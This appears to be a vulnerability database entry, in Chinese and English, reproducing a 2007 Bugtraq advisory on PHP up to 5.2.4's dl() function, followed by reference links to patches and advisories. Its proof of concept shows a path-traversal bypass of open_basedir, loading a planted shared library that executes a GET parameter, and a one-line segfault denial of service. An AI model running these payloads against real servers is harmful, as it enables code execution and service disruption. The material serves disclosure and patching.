PHP dl 函数拒绝服务漏洞

https://cxsecurity.com/issue/WLB-2007090050
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200709-176

PHP是广泛使用的通用目的脚本语言，特别适合于Web开发，可嵌入到HTML中。PHP的5.2.5之前版本中存在多个安全漏洞，具体包括：1)htmlentities和htmlspecialchars函数中不会接受部分多字节序列；2)fnmatch()、setlocale()和glob()函数中存在多个缓冲区溢出；3)处理.htaccess文件中的错误可能导致通过.htaccess文件修改mail.force_extra_parametersphp.ini指令，绕过disable_functions指令；4)处理变量中的错误可能导致通过ini_set()函数覆盖httpd.conf中所设置的值。

Application: PHP <=5.2.4
Web Site: http://php.net
Platform: unix & windows /* replace .so --> dll . */
Bug: extension_dir bypass & code exec & denial of service/*some people call this as a buffer overflow , but it's a denial of service.*/
special condition: default php-memory-limit
-------------------------------------------------------

1) Introduction
2) Bug
3) Proof of concept
4) Greets
5) Credits
===========
1) Introduction
===========

"PHP is a widely-used general-purpose scripting language that
is especially suited for Web development and can be embedded into HTML."

======
2) Bug
======

extension_dir bypass & code exec & denial of service
http://ca.php.net/manual/fr/function.dl.php
=====
3)Proof of concept
=====
/*
debian:~# php -v
PHP 5.2.4 (cli) (built: Aug 31 2007 16:39:15)
Copyright (c) 1997-2007 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2007 Zend Technologies
*/

Proof of concept example :
/*enable by default in php.ini for php 5.2.x */

<?php
dl("../../../../../../../../../../../../../../etc/passwd")
output --->
Warning: dl() [function.dl]: Unable to load dynamic library './../../../../../../../../../etc/passwd' - ./../../../../../../../../../etc/passwd: invalid ELF header in /usr/local/apache2/htdocs/3.php on line 2

ya right ... /etc/passwd dont have any ELF header .
but we agree that it's not checked in anyway by open_basedir.
fine then bypassed .
then :
<?php
dl("./../../../../../../../../../../../home/myuser/www//my_powning_lib/p
wned.so");
$a = powningfunction($_GET['lets_exec_for_fun']);
print_r($a);
?>

denial of service :
debian:/home/mwoa# php -r'dl(str_repeat("0",27999991));'
Erreur de segmentation
debian:/home/lorenzo#

========
4)Greets
========
Ivanlef0u,Deimos,Benji,Berga,Soh,and everyones from worldnet: #futurezone & #nibbles

=====
5)Credits
=====

laurent gaffi
laurent.gaffi@gmail.com
secorizon coming soon !

来源:BUGTRAQ
名称:20070910/*PHP<=5.2.4open_basedirbypass&codeexec&denialofserviceerrata...workingonwindowstoo..*/
链接:http://www.securityfocus.com/archive/1/archive/1/478988/100/0/threaded
来源:BUGTRAQ
名称:20070910PHP<=5.2.4open_basedirbypass&codeexec&denialofservice
链接:http://www.securityfocus.com/archive/1/archive/1/478985/100/0/threaded
来源:wiki.rpath.com
链接:http://wiki.rpath.com/wiki/Advisories:rPSA-2007-0242
来源:OVAL
名称:oval:org.mitre.oval:def:5767
链接:http://oval.mitre.org/repository/data/getDef?id=oval:org.mitre.oval:def:5767
来源:issues.rpath.com
链接:https://issues.rpath.com/browse/RPL-1943
来源:BID
名称:26403
链接:http://www.securityfocus.com/bid/26403
来源:HP
名称:HPSBUX02332
链接:http://www.securityfocus.com/archive/1/archive/1/491693/100/0/threaded
来源:www.php.net
链接:http://www.php.net/releases/5_2_5.php
来源:www.php.net
链接:http://www.php.net/ChangeLog-5.php#5.2.5
来源:GENTOO
名称:GLSA-200710-02
链接:http://www.gentoo.org/security/en/glsa/glsa-200710-02.xml
来源:VUPEN
名称:ADV-2008-0924
链接:http://www.frsirt.com